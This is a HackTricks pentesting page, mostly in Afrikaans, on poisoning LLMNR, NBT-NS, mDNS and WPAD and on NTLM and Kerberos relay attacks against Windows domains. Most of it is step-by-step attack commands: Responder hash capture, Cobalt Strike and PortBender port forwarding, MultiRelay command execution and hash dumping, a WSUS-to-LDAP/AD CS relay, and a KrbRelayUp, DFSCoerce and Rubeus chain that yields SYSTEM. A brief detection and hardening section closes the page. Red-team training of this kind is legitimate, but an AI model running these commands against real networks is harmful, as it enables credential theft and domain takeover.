Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Reading time: 15 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Netwerkprotokolle
Local Host Resolution Protocols
- LLMNR, NBT-NS, and mDNS:
- Microsoft en ander bedryfstelsels gebruik LLMNR en NBT-NS vir plaaslike naamoplossing wanneer DNS faal. Net so gebruik Apple- en Linux-stelsels mDNS.
- Hierdie protokolle is vatbaar vir onderskepping en spoofing weens hul nie-geverifieerde uitsendingsaard oor UDP.
- Responder kan gebruik word om dienste te imiteer deur vervalste antwoorde te stuur aan gashere wat navrae na hierdie protokolle stuur.
- Verdere inligting oor diensimitasie met Responder is te vinde here.
Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD laat blaaiers toe om proxy-instellings outomaties te ontdek.
- Ontdekking word gefasiliteer via DHCP, DNS, of terugval na LLMNR en NBT-NS as DNS faal.
- Responder kan WPAD-aanvalle outomatiseer en kliënte na kwaadwillige WPAD-bedieners lei.
Responder vir Protokolvergiftiging
- Responder is 'n hulpmiddel wat gebruik word om LLMNR-, NBT-NS- en mDNS-navrae te vergiftig, en selektief te reageer gebaseer op navraagtipe, hoofsaaklik SMB-dienste teiken.
- Dit kom vooraf geïnstalleer in Kali Linux, konfigureerbaar by
/etc/responder/Responder.conf
. - Responder vertoon vasgevang hashes op die skerm en stoor dit in die
/usr/share/responder/logs
gids. - Dit ondersteun beide IPv4 en IPv6.
- Windows version of Responder is available here.
Running Responder
- Om Responder met verstekinstellings te hardloop:
responder -I <Interface>
- Vir meer aggressiewe ondersoek (met moontlike newe-effekte):
responder -I <Interface> -P -r -v
- Tegnieke om NTLMv1 challenges/responses te vasvang vir makliker krak:
responder -I <Interface> --lm --disable-ess
- WPAD-imitasie kan geaktiveer word met:
responder -I <Interface> --wpad
- NetBIOS-versoeke kan opgelos word na die aanvaller se IP, en 'n authentication proxy kan opgestel word:
responder.py -I <interface> -Pv
DHCP Poisoning met Responder
- Spoofing van DHCP-antwoorde kan 'n slagoffer se routeringsinligting permanent vergiftig, wat 'n minder opspiedende alternatief tot ARP-vergiftiging bied.
- Dit vereis presiese kennis van die teikennetwerk se konfigurasie.
- Running the attack:
./Responder.py -I eth0 -Pdv
- Hierdie metode kan effektief NTLMv1/2 hashes vasvang, maar vereis versigtige hantering om netwerkversteuring te vermy.
Vasvang van Geloofsbriewe met Responder
- Responder sal dienste imiteer wat bogenoemde protokolle gebruik, en geloofsbriewe vasvang (gewoonlik NTLMv2 Challenge/Response) wanneer 'n gebruiker probeer verifieer teen die gespoofte dienste.
- Pogings kan aangewend word om af te gradeer na NetNTLMv1 of ESS te deaktiveer vir makliker krak van geloofsbriewe.
Dit is van kardinale belang dat die gebruik van hierdie tegnieke wettig en eties geskied, met behoorlike magtiging en sonder ontwrigting of ongemagtigde toegang.
Inveigh
Inveigh is 'n hulpmiddel vir penetration testers en red teamers, ontwerp vir Windows systems. Dit bied funksionaliteit soortgelyk aan Responder, en voer spoofing en man-in-the-middle-aanvalle uit. Die hulpmiddel het ontwikkel van 'n PowerShell-skrip na 'n C#-binary, met Inveigh en InveighZero as die hoofweergawes. Gedetaileerde parameters en instruksies is beskikbaar in die wiki.
Inveigh kan deur PowerShell bedryf word:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Of uitgevoer as 'n C# binary:
Inveigh.exe
NTLM Relay Attack
Hierdie aanval benut SMB-authentikasiesessies om toegang tot 'n teikenmasjien te verkry en, indien suksesvol, 'n system shell te kry. Belangrike vereistes sluit in:
- Die autentiserende gebruiker moet Local Admin access op die relayed host hê.
- SMB signing moet gedeaktiveer wees.
445 Port Forwarding and Tunneling
In scenario's waar direkte netwerkintroduksie nie uitvoerbaar is nie, moet verkeer op port 445 geforward en getunnel word. Gereedskap soos PortBender help om port 445-verkeer na 'n ander poort om te lei, wat noodsaaklik is wanneer Local Admin access beskikbaar is vir driver loading.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Ander gereedskap vir NTLM Relay Attack
- Metasploit: Opstel met proxies, plaaslike en afgeleë host-besonderhede.
- smbrelayx: 'n Python-skrip om SMB-sessies te relé en opdragte uit te voer of backdoors te ontplooi.
- MultiRelay: 'n hulpmiddel uit die Responder-suite om spesifieke gebruikers of alle gebruikers te relé, opdragte uit te voer, of hashes te dump.
Elke hulpmiddel kan gekonfigureer word om deur 'n SOCKS proxy te werk indien nodig, wat aanvalle selfs met indirekte netwerktoegang moontlik maak.
MultiRelay-operasie
MultiRelay word vanaf die /usr/share/responder/tools gids uitgevoer en mik op spesifieke IPs of gebruikers.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Hierdie gereedskap en tegnieke vorm 'n omvattende stel vir die uitvoering van NTLM Relay attacks in verskeie netwerkomgewings.
Misbruik van WSUS HTTP (8530) vir NTLM Relay na LDAP/SMB/AD CS (ESC8)
WSUS-kliente verifieer by hul opdateringsbediener met NTLM oor HTTP (8530) of HTTPS (8531). Wanneer HTTP geaktiveer is, kan periodieke kliënt-inskrywings op die plaaslike segment geforseer of onderskep en met ntlmrelayx na LDAP/LDAPS/SMB of AD CS HTTP-endpunte (ESC8) herlei word sonder om enige hashes te crack. Dit meng in met normale opdateringstrafiek en lewer dikwels masjien-rekeningverifikasies op (HOST$).
Wat om na te kyk
- GPO/registrasie-konfigurasie onder HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate en ...\WindowsUpdate\AU:
- WUServer (bv., http://wsus.domain.local:8530)
- WUStatusServer (reporting URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled and DetectionFrequency (hours)
- WSUS SOAP-endpunte wat deur kliënte oor HTTP gebruik word:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Standaard-porte: 8530/tcp HTTP, 8531/tcp HTTPS
Verkenning
- Onautentiseerd
- Scan vir listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL
- Sniff HTTP WSUS-verkeer via L2 MITM en log aktiewe kliënte/endpunte met wsusniff.py (HTTP slegs tensy jy kliënte kan laat vertrou op jou TLS-cert).
- Geauthentiseer
- Parse SYSVOL GPOs vir WSUS-sleutels met MANSPIDER + regpol (wsuspider.sh wrapper som WUServer/WUStatusServer/UseWUServer op).
- Vra endpunte op skaal vanaf hosts (NetExec) of plaaslik:
nxc smb
-u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
Einde-tot-einde HTTP-relay-stappe
-
Posisioneer vir MITM (selfde L2) sodat 'n kliënt die WSUS-bediener na jou oplos (ARP/DNS poisoning, Bettercap, mitm6, ens.). Voorbeeld met arpspoof: arpspoof -i
-t <wsus_client_ip> <wsus_server_ip> -
Herlei poort 8530 na jou relay-listener (opsioneel, gerieflik): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers
-
Begin ntlmrelayx met die HTTP-listener (vereis Impacket-ondersteuning vir HTTP-listener; sien PRs hieronder): ntlmrelayx.py -t ldap://
-smb2support -socks --keep-relaying --http-port 8530
Ander algemene teikens:
- Relay na SMB (as signing af is) vir exec/dump: -t smb://
- Relay na LDAPS vir directory-wyses (bv., RBCD): -t ldaps://
- Relay na AD CS web-enrollment (ESC8) om 'n cert uit te reik en dan te verifieer via Schannel/PKINIT:
ntlmrelayx.py --http-port 8530 -t http://
/certsrv/certfnsh.asp --adcs --no-http-server Vir dieper AD CS-misbruikpaaie en tooling, sien die AD CS bladsy:
-
Trigger 'n kliënt-check-in of wag vir die skedule. Vanaf 'n kliënt: wuauclt.exe /detectnow of gebruik die Windows Update-koppelvlak (Check for updates).
-
Gebruik die geverifieerde SOCKS-sessies (indien -socks) of direkte relay-resultate vir post-exploitation (LDAP-wyses, SMB-aksies, of AD CS-sertifikaatutreiking vir later verifikasie).
HTTPS-beperking (8531)
- Passiewe onderskep van WSUS oor HTTPS is ondoeltreffend tensy kliënte jou sertifikaat vertrou. Sonder 'n vertroude cert of ander TLS-breek kan die NTLM-handshake nie uit WSUS HTTPS-verkeer geoogst/herlei word nie.
Aantekeninge
- WSUS is aangekondig as verouderd maar bly wyd versprei; HTTP (8530) is steeds algemeen in baie omgewings.
- Nuttige helpers: wsusniff.py (kyk na HTTP WSUS check-ins), wsuspider.sh (enumeer WUServer/WUStatusServer vanaf GPOs), NetExec reg-query op skaal.
- Impacket het HTTP-listener ondersteuning vir ntlmrelayx herstel in PR #2034 (oorspronklik bygevoeg in PR #913).
Force NTLM Logins
In Windows kan jy moontlik sommige bevoorregte rekeninge dwing om te verifieer by arbitrêre masjiene. Lees die volgende bladsy om te leer hoe:
Force NTLM Privileged Authentication
Kerberos Relay attack
A Kerberos relay attack steel 'n AP-REQ ticket van een diens en hergebruik dit teen 'n tweede diens wat dieselfde computer-account key deel (omdat albei SPNs op dieselfde $
masjienrekening sit). Dit werk selfs al verskil die SPNs se service classes (bv. CIFS/
→ LDAP/
) omdat die sleutel wat die ticket ontsleutel die masjien se NT-hash is, nie die SPN-string self nie en die SPN-string is nie deel van die handtekening nie.
Anders as NTLM relay, is die hop beperk tot dieselfde gasheer, maar as jy 'n protokol teiken wat jou toelaat om na LDAP te skryf, kan jy ketting na Resource-Based Constrained Delegation (RBCD) of AD CS enrollment en NT AUTHORITY\SYSTEM met een skoot kry.
Vir gedetailleerde inligting oor hierdie aanval sien:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos basiese beginsels
Token | Doel | Relevansie vir relay |
---|---|---|
TGT / AS-REQ ↔ REP | Bewys die gebruiker aan die KDC | onveranderd |
Service ticket / TGS-REQ ↔ REP | Gebonde aan een SPN; versleuteld met die SPN-eienaar se sleutel | inruilbaar as SPNs dieselfde rekening deel |
AP-REQ | Kliënt stuur TGS na die diens | wat ons steel & hervertoon |
- Tickets is versleuteld met die wagwoord-afgeleide sleutel van die rekening wat die SPN besit.
- Die Authenticator binne die AP-REQ het 'n 5-minute tydstempel; hervertoning binne daardie venster is geldig totdat die dienskas 'n duplikaat sien.
- Windows kyk selde of die SPN-string in die ticket ooreenstem met die diens wat jy tref, so 'n ticket vir
CIFS/HOST
ontsleutel gewoonlik net so opLDAP/HOST
.
-
- Wat moet waar wees om Kerberos te relay
- Gedeelde sleutel: bron- en teiken-SPNs behoort aan dieselfde rekenaarrekening (standaard op Windows-bedieners).
- Geen kanaalbeskerming: SMB/LDAP signing af en EPA af vir HTTP/LDAPS.
- Jy kan verifikasie onderskep of afdwing: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, ens..
- Ticket-bron reeds nie gebruik nie: jy wen die wedloop voor die werklike pakket tref of blok dit heeltemal; andersins vuur die bediener se replay-cache Event 4649.
- Jy moet op een of ander manier 'n MitM in die kommunikasie kan uitvoer—miskien deur deel te wees van die DNSAdmins-groep om die DNS van die domein te verander of deur die HOST-lêer van die slagoffer te kan verander.
Kerberos Relay-stappe
- 3.1 Verken die gasheer
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Begin die relay listener
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp
verpak KrbRelay → LDAP → RBCD → Rubeus → SCM bypass in 'n enkele binêre.
- 3.3 Dwing Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce laat die DC 'n Kerberos CIFS/DC01
ticket aan ons stuur.
- 3.4 Relay the AP-REQ
KrbRelay onttrek die GSS blob uit SMB, herverpak dit in 'n LDAP bind, en stuur dit na ldap://DC01
— authentication slaag omdat die same key dit kan decrypt.
- 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
Jy besit nou NT AUTHORITY\SYSTEM.
Meer paaie wat jy moet ken
Vector | Truuk | Waarom dit saak maak |
---|---|---|
AuthIP / IPSec | Vals bediener stuur 'n GSS-ID payload met enige SPN; kliënt bou 'n AP-REQ direk na jou | Werk selfs oor subnette; masjiencreds standaard |
DCOM / MSRPC | Kwaadaardige OXID-resolver dwing die kliënt om na 'n ewekansige SPN en poort te auth | Suiwer lokale priv-esc; omseil firewall |
AD CS Web Enroll | Relay masjienkaartjie na HTTP/CA en kry 'n cert, dan PKINIT om TGTs te mint | Omseil LDAP-signeringsverdedigings |
Shadow Credentials | Skryf msDS-KeyCredentialLink , dan PKINIT met vervalste sleutelpaar | Geen behoefte om 'n rekenaarrekening by te voeg nie |
Troubleshooting
Fout | Betekenis | Oplossing |
---|---|---|
KRB_AP_ERR_MODIFIED | Ticket-sleutel ≠ teiken-sleutel | Verkeerde host/SPN |
KRB_AP_ERR_SKEW | Klok > 5 min verskil | Sinkroniseer tyd of gebruik w32tm |
LDAP bind fails | Ondertekening afgedwing | Gebruik AD CS-pad of skakel ondertekening af |
Event 4649 spam | Diens het 'n dubbele Authenticator gesien | Blokkeer of wedren met oorspronklike pakket |
Detection
- Toename in Event 4769 vir
CIFS/
,HTTP/
,LDAP/
van dieselfde bron binne sekondes. - Event 4649 op die diens dui op 'n herhaling wat opgespoor is.
- Kerberos-aanmelding vanaf 127.0.0.1 (relay to local SCM) is hoogs verdag—map via Sigma rule in KrbRelayUp docs.
- Let op veranderings aan
msDS-AllowedToActOnBehalfOfOtherIdentity
ofmsDS-KeyCredentialLink
attribuutte.
Verharding
- Enforce LDAP & SMB signing + EPA op elke bediener.
- Split SPNs sodat HTTP nie op dieselfde account as CIFS/LDAP is nie.
- Patcheer coercion-vektore (PetitPotam KB5005413, DFS, AuthIP).
- Stel
ms-DS-MachineAccountQuota = 0
om onbevoegde rekenaarjoins te stop. - Waarsku op Event 4649 en onverwagte loopback Kerberos-aanmeldings.
References
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
- GoSecure – Abusing WSUS to enable NTLM relaying attacks
- Impacket PR #2034 – Restore HTTP server in ntlmrelayx
- Impacket PR #913 – HTTP relay support
- WSUScripts – wsusniff.py
- WSUScripts – wsuspider.sh
- MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
- Microsoft – WSUS deprecation announcement
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.